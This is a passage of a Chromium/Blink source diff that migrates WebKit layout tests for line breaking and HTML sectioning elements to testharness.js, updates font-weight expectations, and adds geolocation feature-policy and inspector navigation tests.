-                    ', got ' + rects1[i].width + ', expected ' + rects2[i].width);
-            }
-        }
+    assert_equals(rects1.length, rects2.length,
+      'FAIL: different number of lines, got ' + rects1.length + ', expected ' + rects2.length);
+
+    for (var i = 0; i < rects1.length; ++i) {
+      assert_equals(rects2[i].width, rects1[i].width,
+        'FAIL: para[' + paragraphNumber1 + '] line[' + i + '] width differs from para[' + paragraphNumber2 + '] line[' + i + ']' +
+        ', got ' + rects1[i].width + ', expected ' + rects2[i].width);
     }
-    return results;
 }
 
-var results = '';
-for (var i = 0; i < 3; i++ )
-    results = compareParagraphLineRects(i*2 + 1, i*2 + 1 + 6, results);
-if (!results.length)
-    results = 'PASS';
-document.getElementById("results").innerText = results;
+test(() => {
+  for (var i = 0; i < 3; i++ )
+    compareParagraphLineRects(i*2 + 1, i*2 + 1 + 6);
+});
 </script>
 </body>
 </html>
diff --git a/third_party/WebKit/LayoutTests/fast/text/line-break-after-question-mark-expected.txt b/third_party/WebKit/LayoutTests/fast/text/line-break-after-question-mark-expected.txt
deleted file mode 100644
index d8fa6d8..0000000
--- a/third_party/WebKit/LayoutTests/fast/text/line-break-after-question-mark-expected.txt
+++ /dev/null
@@ -1,104 +0,0 @@
-Tests when line breaking is allowed after a question mark character.
-
-On success, you will see a series of "PASS" messages, followed by "TEST COMPLETE".
-
-
-PASS allowsBreakBefore(33) is false
-PASS allowsBreakBefore(34) is false
-PASS allowsBreakBefore(35) is true
-PASS allowsBreakBefore(36) is true
-PASS allowsBreakBefore(37) is true
-PASS allowsBreakBefore(38) is true
-PASS allowsBreakBefore(39) is false
-PASS allowsBreakBefore(40) is true
-PASS allowsBreakBefore(41) is false
-PASS allowsBreakBefore(42) is true
-PASS allowsBreakBefore(43) is true
-PASS allowsBreakBefore(44) is false
-PASS allowsBreakBefore(45) is true
-PASS allowsBreakBefore(46) is false
-PASS allowsBreakBefore(47) is false
-PASS allowsBreakBefore(48) is true
-PASS allowsBreakBefore(49) is true
-PASS allowsBreakBefore(50) is true
-PASS allowsBreakBefore(51) is true
-PASS allowsBreakBefore(52) is true
-PASS allowsBreakBefore(53) is true
-PASS allowsBreakBefore(54) is true
-PASS allowsBreakBefore(55) is true
-PASS allowsBreakBefore(56) is true
-PASS allowsBreakBefore(57) is true
-PASS allowsBreakBefore(58) is false
-PASS allowsBreakBefore(59) is false
-PASS allowsBreakBefore(60) is true
-PASS allowsBreakBefore(61) is true
-PASS allowsBreakBefore(62) is true
-PASS allowsBreakBefore(63) is false
-PASS allowsBreakBefore(64) is true
-PASS allowsBreakBefore(65) is true
-PASS allowsBreakBefore(66) is true
-PASS allowsBreakBefore(67) is true
-PASS allowsBreakBefore(68) is true
-PASS allowsBreakBefore(69) is true
-PASS allowsBreakBefore(70) is true
-PASS allowsBreakBefore(71) is true
-PASS allowsBreakBefore(72) is true
-PASS allowsBreakBefore(73) is true
-PASS allowsBreakBefore(74) is true
-PASS allowsBreakBefore(75) is true
-PASS allowsBreakBefore(76) is true
-PASS allowsBreakBefore(77) is true
-PASS allowsBreakBefore(78) is true
-PASS allowsBreakBefore(79) is true
-PASS allowsBreakBefore(80) is true
-PASS allowsBreakBefore(81) is true
-PASS allowsBreakBefore(82) is true
-PASS allowsBreakBefore(83) is true
-PASS allowsBreakBefore(84) is true
-PASS allowsBreakBefore(85) is true
-PASS allowsBreakBefore(86) is true
-PASS allowsBreakBefore(87) is true
-PASS allowsBreakBefore(88) is true
-PASS allowsBreakBefore(89) is true
-PASS allowsBreakBefore(90) is true
-PASS allowsBreakBefore(91) is true
-PASS allowsBreakBefore(92) is true
-PASS allowsBreakBefore(93) is false
-PASS allowsBreakBefore(94) is true
-PASS allowsBreakBefore(95) is true
-PASS allowsBreakBefore(96) is true
-PASS allowsBreakBefore(97) is true
-PASS allowsBreakBefore(98) is true
-PASS allowsBreakBefore(99) is true
-PASS allowsBreakBefore(100) is true
-PASS allowsBreakBefore(101) is true
-PASS allowsBreakBefore(102) is true
-PASS allowsBreakBefore(103) is true
-PASS allowsBreakBefore(104) is true
-PASS allowsBreakBefore(105) is true
-PASS allowsBreakBefore(106) is true
-PASS allowsBreakBefore(107) is true
-PASS allowsBreakBefore(108) is true
-PASS allowsBreakBefore(109) is true
-PASS allowsBreakBefore(110) is true
-PASS allowsBreakBefore(111) is true
-PASS allowsBreakBefore(112) is true
-PASS allowsBreakBefore(113) is true
-PASS allowsBreakBefore(114) is true
-PASS allowsBreakBefore(115) is true
-PASS allowsBreakBefore(116) is true
-PASS allowsBreakBefore(117) is true
-PASS allowsBreakBefore(118) is true
-PASS allowsBreakBefore(119) is true
-PASS allowsBreakBefore(120) is true
-PASS allowsBreakBefore(121) is true
-PASS allowsBreakBefore(122) is true
-PASS allowsBreakBefore(123) is true
-PASS allowsBreakBefore(124) is true
-PASS allowsBreakBefore(125) is false
-PASS allowsBreakBefore(126) is true
-PASS allowsBreakBefore(127) is true
-PASS successfullyParsed is true
-
-TEST COMPLETE
-
diff --git a/third_party/WebKit/LayoutTests/fast/text/line-break-after-question-mark.html b/third_party/WebKit/LayoutTests/fast/text/line-break-after-question-mark.html
index 2541a228..af70b19 100644
--- a/third_party/WebKit/LayoutTests/fast/text/line-break-after-question-mark.html
+++ b/third_party/WebKit/LayoutTests/fast/text/line-break-after-question-mark.html
@@ -1,7 +1,8 @@
-<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML//EN">
+<!DOCTYPE html>
 <html>
 <head>
-<script src="../../resources/js-test.js"></script>
+<script src="../../resources/testharness.js"></script>
+<script src="../../resources/testharnessreport.js"></script>
 </head>
 <body>
 <script src="script-tests/line-break-after-question-mark.js"></script>
diff --git a/third_party/WebKit/LayoutTests/fast/text/line-breaks-after-closing-punctuations-expected.txt b/third_party/WebKit/LayoutTests/fast/text/line-breaks-after-closing-punctuations-expected.txt
deleted file mode 100644
index 015178ac..0000000
--- a/third_party/WebKit/LayoutTests/fast/text/line-breaks-after-closing-punctuations-expected.txt
+++ /dev/null
@@ -1,18 +0,0 @@
-These are good:
-(111111)
-(222222)
-
-[111111]
-[222222]
-
-The following two should look like “good”:
-(111111)(222222)
-
-[111111][222222]
-
-These are bad:
-(111111)(222222)
-
-[111111][222222]
-
-PASS
diff --git a/third_party/WebKit/LayoutTests/fast/text/line-breaks-after-closing-punctuations.html b/third_party/WebKit/LayoutTests/fast/text/line-breaks-after-closing-punctuations.html
index e4e776cef..ced3ad8d 100644
--- a/third_party/WebKit/LayoutTests/fast/text/line-breaks-after-closing-punctuations.html
+++ b/third_party/WebKit/LayoutTests/fast/text/line-breaks-after-closing-punctuations.html
@@ -1,6 +1,9 @@
+<!DOCTYPE html>
 <html>
     <head>
         <title>Line breaks after closing punctuations</title>
+        <script src="../../resources/testharness.js"></script>
+        <script src="../../resources/testharnessreport.js"></script>
     </head>
     <body>
         These are good:
@@ -33,14 +36,14 @@
         </div>
         <div id=result></div>
         <script>
-            if (window.testRunner)
-                testRunner.dumpAsText();
-
             function paragraphHeight(paragraphNumber) {
                 return document.defaultView.getComputedStyle(document.getElementsByTagName("p")[paragraphNumber], null).getPropertyValue("height")
             }
 
-            document.getElementById("result").innerHTML = (paragraphHeight(0) == paragraphHeight(2) && paragraphHeight(1) == paragraphHeight(3)) ? "PASS" : "FAIL";
+test(() => {
+  assert_equals(paragraphHeight(0), paragraphHeight(2));
+  assert_equals(paragraphHeight(1), paragraphHeight(3));
+});
         </script>
     </body>
 </html>
diff --git a/third_party/WebKit/LayoutTests/fast/text/line-breaks-after-ideographic-comma-or-full-stop-2-expected.txt b/third_party/WebKit/LayoutTests/fast/text/line-breaks-after-ideographic-comma-or-full-stop-2-expected.txt
deleted file mode 100644
index 9619659..0000000
--- a/third_party/WebKit/LayoutTests/fast/text/line-breaks-after-ideographic-comma-or-full-stop-2-expected.txt
+++ /dev/null
@@ -1,4 +0,0 @@
-This tests that a line break is prohibited between an ideographic comma and a right corner bracket.
-
-う、」う
-PASS
diff --git a/third_party/WebKit/LayoutTests/fast/text/line-breaks-after-ideographic-comma-or-full-stop-2.html b/third_party/WebKit/LayoutTests/fast/text/line-breaks-after-ideographic-comma-or-full-stop-2.html
index 89b9cbd..125f31b8 100644
--- a/third_party/WebKit/LayoutTests/fast/text/line-breaks-after-ideographic-comma-or-full-stop-2.html
+++ b/third_party/WebKit/LayoutTests/fast/text/line-breaks-after-ideographic-comma-or-full-stop-2.html
@@ -1,12 +1,13 @@
+<!DOCTYPE html>
+<script src="../../resources/testharness.js"></script>
+<script src="../../resources/testharnessreport.js"></script>
 <p>
     This tests that a line break is prohibited between an ideographic comma and a right corner bracket.
 </p>
 <div id="target" style="font-size: 72px;">&#x3046;&#x3001;&#x0300d;&#x3046;</div>
 <p id="result">Test did not run.</p>
 <script>
-    if (window.testRunner)
-        testRunner.dumpAsText();
-
+test(() => {
     var target = document.getElementById("target");
     var range = document.createRange();
     range.setStart(target.firstChild, 0);
@@ -18,6 +19,6 @@
     range.setStart(target.firstChild, 2);
     range.setEnd(target.firstChild, 3);
 
-    document.getElementById("result").innerText = 
-        range.getBoundingClientRect().top == rect.top ? "PASS" : "FAIL";
+    assert_equals(range.getBoundingClientRect().top, rect.top);
+});
 </script>
diff --git a/third_party/WebKit/LayoutTests/fast/text/line-breaks-after-ideographic-comma-or-full-stop-expected.txt b/third_party/WebKit/LayoutTests/fast/text/line-breaks-after-ideographic-comma-or-full-stop-expected.txt
deleted file mode 100644
index f73bdd2..0000000
--- a/third_party/WebKit/LayoutTests/fast/text/line-breaks-after-ideographic-comma-or-full-stop-expected.txt
+++ /dev/null
@@ -1,18 +0,0 @@
-These are good:
-う、
-texttexttexttext
-
-う。
-texttexttexttext
-
-The following two should look like “good”:
-う、texttexttexttext
-
-う。texttexttexttext
-
-These are bad:
-う、texttexttexttext
-
-う。texttexttexttext
-
-PASS
diff --git a/third_party/WebKit/LayoutTests/fast/text/line-breaks-after-ideographic-comma-or-full-stop.html b/third_party/WebKit/LayoutTests/fast/text/line-breaks-after-ideographic-comma-or-full-stop.html
index cb22b65..a3b8121 100644
--- a/third_party/WebKit/LayoutTests/fast/text/line-breaks-after-ideographic-comma-or-full-stop.html
+++ b/third_party/WebKit/LayoutTests/fast/text/line-breaks-after-ideographic-comma-or-full-stop.html
@@ -1,6 +1,9 @@
+<!DOCTYPE html>
 <html>
     <head>
         <title>Line breaks after ideographic comma or full stop</title>
+        <script src="../../resources/testharness.js"></script>
+        <script src="../../resources/testharnessreport.js"></script>
     </head>
     <body>
         These are good:
@@ -32,14 +35,14 @@
         </div>
         <div id=result></div>
         <script>
-            if (window.testRunner)
-                testRunner.dumpAsText();
-
             function paragraphHeight(paragraphNumber) {
                 return document.defaultView.getComputedStyle(document.getElementsByTagName("p")[paragraphNumber], null).getPropertyValue("height")
             }
 
-            document.getElementById("result").innerHTML = (paragraphHeight(0) == paragraphHeight(2) && paragraphHeight(1) == paragraphHeight(3)) ? "PASS" : "FAIL";
+            test(() => {
+              assert_true(paragraphHeight(0) == paragraphHeight(2));
+              assert_true(paragraphHeight(1) == paragraphHeight(3));
+            });
         </script>
     </body>
 </html>
diff --git a/third_party/WebKit/LayoutTests/fast/text/script-tests/line-break-after-question-mark.js b/third_party/WebKit/LayoutTests/fast/text/script-tests/line-break-after-question-mark.js
index 90e8a30..c279a90e 100644
--- a/third_party/WebKit/LayoutTests/fast/text/script-tests/line-break-after-question-mark.js
+++ b/third_party/WebKit/LayoutTests/fast/text/script-tests/line-break-after-question-mark.js
@@ -1,5 +1,3 @@
-description("Tests when line breaking is allowed after a question mark character.");
-
 var div = document.body.appendChild(document.createElement("div"));
 div.style.width = "1px";
 div.style.fontFamily = "Ahem";
@@ -11,9 +9,10 @@
     return div.offsetHeight > 25;
 }
 
-var unallowedBreaks = [0x21, 0x22, 0x27, 0x29, 0x2c, 0x2e, 0x2f, 0x3a, 0x3b, 0x3f, 0x5d, 0x7d];
+var unallowedBreaks = [0x21, 0x22, 0x29, 0x2c, 0x2e, 0x2f, 0x3a, 0x3b, 0x3f, 0x5d, 0x7d];
 
-for (var i = 33; i < 128; ++i)
-    shouldBe("allowsBreakBefore(" + i + ")", unallowedBreaks.indexOf(i) >= 0 ? "false" : "true");
-
-document.body.removeChild(div);
+for (var i = 33; i < 128; ++i) {
+  test(() => {
+    assert_equals(allowsBreakBefore(i), unallowedBreaks.indexOf(i) < 0);
+  }, "allowsBreakBefore(" + i + ")");
+}
diff --git a/third_party/WebKit/LayoutTests/html/grouping_content/figcaption-element-expected.txt b/third_party/WebKit/LayoutTests/html/grouping_content/figcaption-element-expected.txt
index 9402231..07d615b 100644
--- a/third_party/WebKit/LayoutTests/html/grouping_content/figcaption-element-expected.txt
+++ b/third_party/WebKit/LayoutTests/html/grouping_content/figcaption-element-expected.txt
@@ -13,8 +13,8 @@
 PASS figcaption3.parentNode.id is "figcaption2"
 PASS figcaption5.parentNode.id is "footer1"
 Residual style:
-PASS getStyleValue("figcaption4","font-weight") is "700"
-PASS getStyleValue("span1","font-weight") is "700"
+PASS getStyleValue("figcaption4","font-weight") is "bold"
+PASS getStyleValue("span1","font-weight") is "bold"
 PASS successfullyParsed is true
 
 TEST COMPLETE
diff --git a/third_party/WebKit/LayoutTests/html/grouping_content/figcaption-element.html b/third_party/WebKit/LayoutTests/html/grouping_content/figcaption-element.html
index 7a22bef1..0587b43 100644
--- a/third_party/WebKit/LayoutTests/html/grouping_content/figcaption-element.html
+++ b/third_party/WebKit/LayoutTests/html/grouping_content/figcaption-element.html
@@ -39,8 +39,8 @@
 
 debug('Residual style:');
 testParent.innerHTML = '<b><figcaption id="figcaption4">This text should be bold.</figcaption> <span id="span1">This is also bold.</span></b>';
-shouldBe('getStyleValue("figcaption4","font-weight")', '"700"');
-shouldBe('getStyleValue("span1","font-weight")', '"700"');
+shouldBe('getStyleValue("figcaption4","font-weight")', '"bold"');
+shouldBe('getStyleValue("span1","font-weight")', '"bold"');
 document.body.removeChild(testParent);
 
 </script>
diff --git a/third_party/WebKit/LayoutTests/html/grouping_content/figure-element-expected.txt b/third_party/WebKit/LayoutTests/html/grouping_content/figure-element-expected.txt
index 0a60a79..28f383f8 100644
--- a/third_party/WebKit/LayoutTests/html/grouping_content/figure-element-expected.txt
+++ b/third_party/WebKit/LayoutTests/html/grouping_content/figure-element-expected.txt
@@ -17,8 +17,8 @@
 PASS figure3.parentNode.id is "figure2"
 PASS figure5.parentNode.id is "footer1"
 Residual style:
-PASS getStyleValue("figure4","font-weight") is "700"
-PASS getStyleValue("span1","font-weight") is "700"
+PASS getStyleValue("figure4","font-weight") is "bold"
+PASS getStyleValue("span1","font-weight") is "bold"
 PASS successfullyParsed is true
 
 TEST COMPLETE
diff --git a/third_party/WebKit/LayoutTests/html/grouping_content/figure-element.html b/third_party/WebKit/LayoutTests/html/grouping_content/figure-element.html
index 860f2f07..bd4d047 100644
--- a/third_party/WebKit/LayoutTests/html/grouping_content/figure-element.html
+++ b/third_party/WebKit/LayoutTests/html/grouping_content/figure-element.html
@@ -43,8 +43,8 @@
 
 debug('Residual style:');
 testParent.innerHTML = '<b><figure id="figure4">This text should be bold.</figure> <span id="span1">This is also bold.</span></b>';
-shouldBe('getStyleValue("figure4","font-weight")', '"700"');
-shouldBe('getStyleValue("span1","font-weight")', '"700"');
+shouldBe('getStyleValue("figure4","font-weight")', '"bold"');
+shouldBe('getStyleValue("span1","font-weight")', '"bold"');
 document.body.removeChild(testParent);
 
 </script>
diff --git a/third_party/WebKit/LayoutTests/html/grouping_content/main-element-expected.txt b/third_party/WebKit/LayoutTests/html/grouping_content/main-element-expected.txt
index 44e917a..32e3e9f 100644
--- a/third_party/WebKit/LayoutTests/html/grouping_content/main-element-expected.txt
+++ b/third_party/WebKit/LayoutTests/html/grouping_content/main-element-expected.txt
@@ -10,8 +10,8 @@
 <main> can be nested inside <main>:
 PASS main3.parentNode.id is "main2"
 Residual style:
-PASS getWeight("main4") is "700"
-PASS getWeight("span1") is "700"
+PASS getWeight("main4") is "bold"
+PASS getWeight("span1") is "bold"
 FormatBlock:
 PASS document.getElementById("span2").parentNode.nodeName is "MAIN"
 PASS successfullyParsed is true
diff --git a/third_party/WebKit/LayoutTests/html/grouping_content/main-element.html b/third_party/WebKit/LayoutTests/html/grouping_content/main-element.html
index 1023198..5d0b754 100644
--- a/third_party/WebKit/LayoutTests/html/grouping_content/main-element.html
+++ b/third_party/WebKit/LayoutTests/html/grouping_content/main-element.html
@@ -30,8 +30,8 @@
 function getWeight(id) {
     return document.defaultView.getComputedStyle(document.getElementById(id), null).getPropertyValue('font-weight');
 }
-shouldBe('getWeight("main4")', '"700"');
-shouldBe('getWeight("span1")', '"700"');
+shouldBe('getWeight("main4")', '"bold"');
+shouldBe('getWeight("span1")', '"bold"');
 document.body.removeChild(testParent);
 
 debug('FormatBlock:');
diff --git a/third_party/WebKit/LayoutTests/html/sections/article-element-expected.txt b/third_party/WebKit/LayoutTests/html/sections/article-element-expected.txt
index 6a6ba99..f60ac38 100644
--- a/third_party/WebKit/LayoutTests/html/sections/article-element-expected.txt
+++ b/third_party/WebKit/LayoutTests/html/sections/article-element-expected.txt
@@ -10,8 +10,8 @@
 <article> can be nested inside <article>:
 PASS article3.parentNode.id is "article2"
 Residual style:
-PASS getWeight("article4") is "700"
-PASS getWeight("span1") is "700"
+PASS getWeight("article4") is "bold"
+PASS getWeight("span1") is "bold"
 FormatBlock:
 PASS document.getElementById("span2").parentNode.nodeName is "ARTICLE"
 PASS successfullyParsed is true
diff --git a/third_party/WebKit/LayoutTests/html/sections/article-element.html b/third_party/WebKit/LayoutTests/html/sections/article-element.html
index c1f6290..6e87d1c 100644
--- a/third_party/WebKit/LayoutTests/html/sections/article-element.html
+++ b/third_party/WebKit/LayoutTests/html/sections/article-element.html
@@ -30,8 +30,8 @@
 function getWeight(id) {
     return document.defaultView.getComputedStyle(document.getElementById(id), null).getPropertyValue('font-weight');
 }
-shouldBe('getWeight("article4")', '"700"');
-shouldBe('getWeight("span1")', '"700"');
+shouldBe('getWeight("article4")', '"bold"');
+shouldBe('getWeight("span1")', '"bold"');
 document.body.removeChild(testParent);
 
 debug('FormatBlock:');
diff --git a/third_party/WebKit/LayoutTests/html/sections/aside-element-expected.txt b/third_party/WebKit/LayoutTests/html/sections/aside-element-expected.txt
index af08fa6..5022e636 100644
--- a/third_party/WebKit/LayoutTests/html/sections/aside-element-expected.txt
+++ b/third_party/WebKit/LayoutTests/html/sections/aside-element-expected.txt
@@ -10,8 +10,8 @@
 <aside> can be nested inside <aside>:
 PASS aside3.parentNode.id is "aside2"
 Residual style:
-PASS getWeight("aside4") is "700"
-PASS getWeight("span1") is "700"
+PASS getWeight("aside4") is "bold"
+PASS getWeight("span1") is "bold"
 FormatBlock:
 PASS document.getElementById("span2").parentNode.nodeName is "ASIDE"
 PASS successfullyParsed is true
diff --git a/third_party/WebKit/LayoutTests/html/sections/aside-element.html b/third_party/WebKit/LayoutTests/html/sections/aside-element.html
index 30855bf..d621ead 100644
--- a/third_party/WebKit/LayoutTests/html/sections/aside-element.html
+++ b/third_party/WebKit/LayoutTests/html/sections/aside-element.html
@@ -30,8 +30,8 @@
 function getWeight(id) {
     return document.defaultView.getComputedStyle(document.getElementById(id), null).getPropertyValue('font-weight');
 }
-shouldBe('getWeight("aside4")', '"700"');
-shouldBe('getWeight("span1")', '"700"');
+shouldBe('getWeight("aside4")', '"bold"');
+shouldBe('getWeight("span1")', '"bold"');
 document.body.removeChild(testParent);
 
 debug('FormatBlock:');
diff --git a/third_party/WebKit/LayoutTests/html/sections/footer-element-expected.txt b/third_party/WebKit/LayoutTests/html/sections/footer-element-expected.txt
index e0ec8177..933f1aa 100644
--- a/third_party/WebKit/LayoutTests/html/sections/footer-element-expected.txt
+++ b/third_party/WebKit/LayoutTests/html/sections/footer-element-expected.txt
@@ -11,8 +11,8 @@
 PASS footer3.parentNode.id is "footer2"
 PASS footer5.parentNode.id is "header1"
 Residual style:
-PASS getWeight("footer4") is "700"
-PASS getWeight("span1") is "700"
+PASS getWeight("footer4") is "bold"
+PASS getWeight("span1") is "bold"
 FormatBlock:
 PASS document.getElementById("span2").parentNode.nodeName is "FOOTER"
 PASS successfullyParsed is true
diff --git a/third_party/WebKit/LayoutTests/html/sections/footer-element.html b/third_party/WebKit/LayoutTests/html/sections/footer-element.html
index d3d5437..8d101b3 100644
--- a/third_party/WebKit/LayoutTests/html/sections/footer-element.html
+++ b/third_party/WebKit/LayoutTests/html/sections/footer-element.html
@@ -33,8 +33,8 @@
 function getWeight(id) {
     return document.defaultView.getComputedStyle(document.getElementById(id), null).getPropertyValue('font-weight');
 }
-shouldBe('getWeight("footer4")', '"700"');
-shouldBe('getWeight("span1")', '"700"');
+shouldBe('getWeight("footer4")', '"bold"');
+shouldBe('getWeight("span1")', '"bold"');
 document.body.removeChild(testParent);
 
 debug('FormatBlock:');
diff --git a/third_party/WebKit/LayoutTests/html/sections/header-element-expected.txt b/third_party/WebKit/LayoutTests/html/sections/header-element-expected.txt
index 692f3ef..6dcba54 100644
--- a/third_party/WebKit/LayoutTests/html/sections/header-element-expected.txt
+++ b/third_party/WebKit/LayoutTests/html/sections/header-element-expected.txt
@@ -11,8 +11,8 @@
 PASS header3.parentNode.id is "header2"
 PASS header5.parentNode.id is "footer1"
 Residual style:
-PASS getWeight("header4") is "700"
-PASS getWeight("span1") is "700"
+PASS getWeight("header4") is "bold"
+PASS getWeight("span1") is "bold"
 FormatBlock:
 PASS document.getElementById("span2").parentNode.nodeName is "HEADER"
 PASS successfullyParsed is true
diff --git a/third_party/WebKit/LayoutTests/html/sections/header-element.html b/third_party/WebKit/LayoutTests/html/sections/header-element.html
index 62c1be14..dd76093 100644
--- a/third_party/WebKit/LayoutTests/html/sections/header-element.html
+++ b/third_party/WebKit/LayoutTests/html/sections/header-element.html
@@ -33,8 +33,8 @@
 function getWeight(id) {
     return document.defaultView.getComputedStyle(document.getElementById(id), null).getPropertyValue('font-weight');
 }
-shouldBe('getWeight("header4")', '"700"');
-shouldBe('getWeight("span1")', '"700"');
+shouldBe('getWeight("header4")', '"bold"');
+shouldBe('getWeight("span1")', '"bold"');
 document.body.removeChild(testParent);
 
 debug('FormatBlock:');
diff --git a/third_party/WebKit/LayoutTests/html/sections/hgroup-element-expected.txt b/third_party/WebKit/LayoutTests/html/sections/hgroup-element-expected.txt
index 1c7abe4..9937f17 100644
--- a/third_party/WebKit/LayoutTests/html/sections/hgroup-element-expected.txt
+++ b/third_party/WebKit/LayoutTests/html/sections/hgroup-element-expected.txt
@@ -10,8 +10,8 @@
 <hgroup> can be nested inside <hgroup>:
 PASS hgroup3.parentNode.id is "hgroup2"
 Residual style:
-PASS getWeight("hgroup4") is "700"
-PASS getWeight("span1") is "700"
+PASS getWeight("hgroup4") is "bold"
+PASS getWeight("span1") is "bold"
 FormatBlock:
 PASS document.getElementById("span2").parentNode.nodeName is "HGROUP"
 PASS successfullyParsed is true
diff --git a/third_party/WebKit/LayoutTests/html/sections/hgroup-element.html b/third_party/WebKit/LayoutTests/html/sections/hgroup-element.html
index 5e5c70bf..f446732 100644
--- a/third_party/WebKit/LayoutTests/html/sections/hgroup-element.html
+++ b/third_party/WebKit/LayoutTests/html/sections/hgroup-element.html
@@ -31,8 +31,8 @@
 function getWeight(id) {
     return document.defaultView.getComputedStyle(document.getElementById(id), null).getPropertyValue('font-weight');
 }
-shouldBe('getWeight("hgroup4")', '"700"');
-shouldBe('getWeight("span1")', '"700"');
+shouldBe('getWeight("hgroup4")', '"bold"');
+shouldBe('getWeight("span1")', '"bold"');
 document.body.removeChild(testParent);
 
 debug('FormatBlock:');
diff --git a/third_party/WebKit/LayoutTests/html/sections/section-element-expected.txt b/third_party/WebKit/LayoutTests/html/sections/section-element-expected.txt
index 3d719d8..c637cf1 100644
--- a/third_party/WebKit/LayoutTests/html/sections/section-element-expected.txt
+++ b/third_party/WebKit/LayoutTests/html/sections/section-element-expected.txt
@@ -10,8 +10,8 @@
 <section> can be nested inside <section>:
 PASS section3.parentNode.id is "section2"
 Residual style:
-PASS getWeight("section4") is "700"
-PASS getWeight("span1") is "700"
+PASS getWeight("section4") is "bold"
+PASS getWeight("span1") is "bold"
 FormatBlock:
 PASS document.getElementById("span2").parentNode.nodeName is "SECTION"
 PASS successfullyParsed is true
diff --git a/third_party/WebKit/LayoutTests/html/sections/section-element.html b/third_party/WebKit/LayoutTests/html/sections/section-element.html
index 0b5eb2b..7bd78ce8 100644
--- a/third_party/WebKit/LayoutTests/html/sections/section-element.html
+++ b/third_party/WebKit/LayoutTests/html/sections/section-element.html
@@ -30,8 +30,8 @@
 function getWeight(id) {
     return document.defaultView.getComputedStyle(document.getElementById(id), null).getPropertyValue('font-weight');
 }
-shouldBe('getWeight("section4")', '"700"');
-shouldBe('getWeight("span1")', '"700"');
+shouldBe('getWeight("section4")', '"bold"');
+shouldBe('getWeight("span1")', '"bold"');
 document.body.removeChild(testParent);
 
 debug('FormatBlock:');
diff --git a/third_party/WebKit/LayoutTests/html/text_level_semantics/mark-element-expected.txt b/third_party/WebKit/LayoutTests/html/text_level_semantics/mark-element-expected.txt
index 18d2705..fa302653 100644
--- a/third_party/WebKit/LayoutTests/html/text_level_semantics/mark-element-expected.txt
+++ b/third_party/WebKit/LayoutTests/html/text_level_semantics/mark-element-expected.txt
@@ -8,8 +8,8 @@
 <b> does not close <mark>:
 PASS b1.parentNode.nodeName is "MARK"
 Residual style:
-PASS getWeight("mark2") is "700"
-PASS getWeight("span1") is "700"
+PASS getWeight("mark2") is "bold"
+PASS getWeight("span1") is "bold"
 PASS successfullyParsed is true
 
 TEST COMPLETE
diff --git a/third_party/WebKit/LayoutTests/html/text_level_semantics/mark-element.html b/third_party/WebKit/LayoutTests/html/text_level_semantics/mark-element.html
index 577e356..f0bd234 100644
--- a/third_party/WebKit/LayoutTests/html/text_level_semantics/mark-element.html
+++ b/third_party/WebKit/LayoutTests/html/text_level_semantics/mark-element.html
@@ -25,8 +25,8 @@
 function getWeight(id) {
     return document.defaultView.getComputedStyle(document.getElementById(id), null).getPropertyValue('font-weight');
 }
-shouldBe('getWeight("mark2")', '"700"');
-shouldBe('getWeight("span1")', '"700"');
+shouldBe('getWeight("mark2")', '"bold"');
+shouldBe('getWeight("span1")', '"bold"');
 document.body.removeChild(testParent);
 </script>
 </body>
diff --git a/third_party/WebKit/LayoutTests/http/tests/geolocation-api/geolocation-default-feature-policy.https.sub-expected.txt b/third_party/WebKit/LayoutTests/http/tests/geolocation-api/geolocation-default-feature-policy.https.sub-expected.txt
new file mode 100644
index 0000000..6f98419
--- /dev/null
+++ b/third_party/WebKit/LayoutTests/http/tests/geolocation-api/geolocation-default-feature-policy.https.sub-expected.txt
@@ -0,0 +1,8 @@
+CONSOLE WARNING: line 14: getCurrentPosition and watchPosition usage in cross-origin iframes is deprecated and will be disabled in M63, around December 2017. To continue to use this feature, it must be enabled by the embedding document using Feature Policy, e.g. <iframe allow="geolocation" ...>. See https://goo.gl/EuHzyv for more details.
+This is a testharness.js-based test.
+PASS Default "geolocation" feature policy ["self"] allows the top-level document. 
+PASS Default "geolocation" feature policy ["self"] allows same-origin iframes. 
+FAIL Default "geolocation" feature policy ["self"] disallows cross-origin iframes. assert_equals: expected "#PositionError" but got "#OK"
+PASS Feature policy "geolocation" can be enabled in cross-origin iframes using "allow" attribute. 
+Harness: the test ran to completion.
+
diff --git a/third_party/WebKit/LayoutTests/http/tests/geolocation-api/geolocation-default-feature-policy.https.sub.html b/third_party/WebKit/LayoutTests/http/tests/geolocation-api/geolocation-default-feature-policy.https.sub.html
new file mode 100644
index 0000000..5d146189
--- /dev/null
+++ b/third_party/WebKit/LayoutTests/http/tests/geolocation-api/geolocation-default-feature-policy.https.sub.html
@@ -0,0 +1,17 @@
+<!DOCTYPE html>
+<body>
+<script src=/resources/testharness.js></script>
+<script src=/resources/testharnessreport.js></script>
+<script src=../resources/feature-policy-permissions-test.js></script>
+<script>
+'use strict';
+
+run_permission_default_header_policy_tests(
+  location.protocol + '//localhost:' + location.port,
+  'geolocation',
+  'PositionError',
+  function() { return new Promise((resolve, reject) => {
+    navigator.geolocation.getCurrentPosition(resolve, reject); }); });
+
+</script>
+</body>
diff --git a/third_party/WebKit/LayoutTests/http/tests/inspector-protocol/page/frameScheduledNavigation-expected.txt b/third_party/WebKit/LayoutTests/http/tests/inspector-protocol/page/frameScheduledNavigation-expected.txt
new file mode 100644
index 0000000..fdd0406
--- /dev/null
+++ b/third_party/WebKit/LayoutTests/http/tests/inspector-protocol/page/frameScheduledNavigation-expected.txt
@@ -0,0 +1,17 @@
+Tests frameScheduledNavigation events when navigation is initiated in JS followed by other navigations.
+Scheduled navigation with delay 0 and reason scriptInitiated to url navigation-chain1.html
+Started loading
+Cleared scheduled navigation
+Scheduled navigation with delay 0 and reason metaTagRefresh to url navigation-chain2.pl
+Started loading
+Cleared scheduled navigation
+Scheduled navigation with delay 0 and reason httpHeaderRefresh to url navigation-chain3.pl
+Started loading
+Cleared scheduled navigation
+Scheduled navigation with delay 0 and reason formSubmission to url navigation-chain3.pl?x=y
+Started loading
+Cleared scheduled navigation
+Scheduled navigation with delay 0 and reason reload to url navigation-chain3.pl?x=y
+Started loading
+Cleared scheduled navigation
+
diff --git a/third_party/WebKit/LayoutTests/inspector-protocol/page/frameScheduledNavigation.js b/third_party/WebKit/LayoutTests/http/tests/inspector-protocol/page/frameScheduledNavigation.js
similarity index 84%
rename from third_party/WebKit/LayoutTests/inspector-protocol/page/frameScheduledNavigation.js
rename to third_party/WebKit/LayoutTests/http/tests/inspector-protocol/page/frameScheduledNavigation.js
index c19b9c1..dbf32b3 100644
